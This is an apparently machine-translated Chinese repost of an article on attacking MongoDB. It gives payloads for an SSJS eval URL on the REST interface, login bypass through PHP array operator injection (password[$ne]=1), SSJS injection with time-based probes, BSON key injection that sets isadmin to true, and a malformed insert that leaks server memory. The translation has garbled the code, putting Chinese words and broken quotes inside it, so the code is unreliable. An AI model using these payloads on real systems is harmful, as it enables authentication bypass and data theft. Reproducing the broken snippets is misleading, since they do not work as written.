安全圈 | 专注于最新网络信息安全讯息新闻

首页

學習與安全:攻擊mongodb

作者 eppolito 时间 2020-02-27
all

我不打算描述資料庫的安裝方式:即使不使用手册,開發人員也會盡一切可能簡化這個過程。讓我們關注那些看起來非常有趣的特性。首先是一個REST介面。它是一個web介面,默認情况下在埠28017上運行,允許管理員通過瀏覽器遠程控制其資料庫。使用此DBMS選項,我發現了幾個漏洞:兩個存儲的XSS漏洞、未記錄的SSJS(伺服器端Java腳本)程式碼執行和多個CSRF。我將詳細介紹上述漏洞。欄位Clients和Log有兩個存儲的XSS漏洞。這意味著,使用HTML程式碼向資料庫發出任何請求時,此程式碼將被寫入REST介面頁面的原始程式碼,並在訪問此頁面的人的瀏覽器中執行。這些漏洞使以下攻擊成為可能:

至於未記錄的SSJS程式碼執行,我已經編寫了一個範本,可以根據需要進行修改。

http://vuln host:28017/admin/$cmd/?filter_eval=function(){返回db.version()}&limit=1

眾所周知,必須有一個用作傳輸的驅動程序來處理任何用指令碼語言編寫的重要資料庫,例如PHP。我决定仔細研究一下MongoDB的這些驅動程序,並選擇了一個PHP驅動程序。

假設有一臺完全配寘的服務器,服務器上有Apache+PHP+MongoDB和一個易受攻擊的腳本,該腳本的主要片段如下:

$q=array(“name”=>$_GET['login',“password”=>$_GET['password']);$cursor=$collection->findOne($q);

收到數據後,腳本向MongoDB資料庫發出請求。如果數據是正確的,那麼它接收一個帶有用戶數據輸出的數組。如下所示:

回顯“Name:”。$cursor['name'];echo'Password:'。$cursor['密碼'];

假設以下參數已發送給它(True):

?login=admin&password=pa77w0rd

然後,對資料庫的請求將如下所示:

db.items.findOne({“name”:“admin”,“password”:“pa77w0rd”})

由於資料庫包含密碼為pa77w0rd的用戶admin,囙此其數據將作為響應輸出(True)。如果使用另一個名稱或密碼,則響應將不返回任何內容(False)。

MongoDB中的條件與常見的where相似,只是在語法上有一些差异。囙此,有必要將以下內容寫入錶項中的輸出記錄(名稱不是admin):

查找({“name”:{$ne:“admin”})

PHP只需要另一個數組將其放入另一個數組中,這個數組由findOne函數發送。讓我們從理論到實踐。首先,創建一個請求,這個示例將符合以下條件:password不是1,user是admin。

findOne({“name”:“admin”,“password”:{$ne:“1”})

在PHP中如下所示:

$q=array(“name”=>“admin”,“password”=>數組(“\$ne”=>“1”));

只需將變數密碼聲明為一個數組即可利用此漏洞:

?login=admin&password[$ne]=1

囙此,將輸出管理數據(True)。這個問題可以通過函數is array()和將輸入參數引入字串類型來解决。

MongoDB和PHP的另一個典型漏洞(如果一起使用)與將數據注入對服務器發出的SSJS請求有關。

我將用程式碼來舉例說明。假設INSERT如下所示:

$q=“function(){var loginn='$login';var passs='$pass';db.members.insert({id:2,login:loginn,pass:passs});}”;

一個重要的條件是,變數$pass和$login直接從數組$GET中獲取,並且不被過濾(是的,這是一個明顯的失敗,但非常常見):

發送測試數據:

?login=user&password=密碼

接收以下數據作為響應:

您的登錄名:user您的密碼:password

讓我們嘗試利用該漏洞,該漏洞假定發送到參數的數據未經篩選或驗證。

重寫loginn變數:

?login=user&password=1';var loginn=db.version();var b='

我們要做的第一件事就是看其他的唱片。一個簡單的請求是在幫助:

/?login=user&password=';var loginn=tojson(db.members.find()[0]);var b=2

當然,可能會出現沒有輸出的情况,然後需要使用基於時間的科技(基於服務器響應延遲,取決於條件(真/假))來接收數據。下麵是一個例子:

?login=user&password=';if(db.version()>“2”){sleep(10000);exit;}var loginn=1;var b='2

眾所周知,MongoDB允許為特定資料庫創建用戶。資料庫中有關用戶的資訊存儲在錶db.system.users中。我們對上錶中的欄位user和pwd最感興趣。user列包含用戶登錄名pwd-MD5 string?%登入%:mongo:%密碼%?,其中login和password是登錄名、金鑰和使用者密碼的登錄名和雜湊值。

所有數據都是未加密傳輸的,包劫持允許獲取接收用戶名和密碼所需的特定數據。在MongoDB服務器上進行授權時,需要劫持用戶端發送的nonce、登錄名和金鑰。金鑰包含以下形式的MD5字串:“%nonce%+%login%+MD5”(%login%+):mongo:“+%passwod%”。

讓我們進一步考慮另一種類型的漏洞,這種漏洞是基於對在請求中傳輸到資料庫的BSON對象的錯誤解析而產生的。

一開始有幾句關於BSON的話。BSON(Binary JavaScript Object Notation)是一種電腦資料交換格式,主要用於存儲各種數據(Bool、int、string等)。假設有一個錶有兩條記錄:

>db.test.find({}){“@id”:ObjectId(“5044ebc3a91b02e9a9b065e1”),“name”:“admin”,“isadmin”:true}{“@id”:ObjectId(“5044ebc3a91b02e9b065e1”),“name”:“noadmin”,“isadmin”:false}

以及資料庫請求,可以注入:

>db.test.insert({“name”:“noadmin2”,“isadmin”:false})

只需在列名中插入一個精心編制的BSON對象:

>db.test.insert({“name\x16\x00\x08isadmin\x00\x01\x00\x00\x00\x00”:“noadmin2”,“isadmin”:false})

0x08 before isadmin指定資料類型為布林型,0x01默認情况下將對象值設定為true而不是false。關鍵是,在處理變數類型時,可以使用請求重寫自動呈現的數據。

現在讓我們看看表中有什麼:

>db.test.find({}){“@id”:ObjectId(“5044ebc3a91b02e9a9b065e1”),“name”:“admin”,“isadmin”:true}{“@id”:ObjectId(“5044ebc3a91b02e9b065e1”),“name”:“noadmin”,“isadmin”:false}{“@id”:ObjectId(“5044ebf6a91b02e9b065e3”),“name”:null,“isadmin”:true,“isadmin”:true}

已成功將False更改為true!

讓我們考慮一下BSON解析器中的一個漏洞,它允許讀取任意存儲區域。由於insert命令中對列名中BSON檔案長度的解析不正確,MongoDB使插入包含資料庫服務器的Base64加密存儲區域的記錄成為可能。假設我們有一個名為dropme的錶,並且有足够的許可權在其中寫入。

>db.dropme.insert({“\x16\x00\x00\x00\x05hello\x00\x010\x00\x00\x00 world\x00\x00”:“world”})>db.dropme.find(){“\u id”:ObjectId(“50857a4663944834b98eb4cc”),“”:null,“hello”:BinData(0,“d29ybgqaaaacreaaaq/ 4wjsccpcepceyfjqkaoqasac………..ACkALAAgACIAFg==”}

發生這種情況的原因是BSON對象的長度不正確-0x010而不是0x01。當Base64程式碼被解密時,我們接收隨機服務器存儲區的位元組數。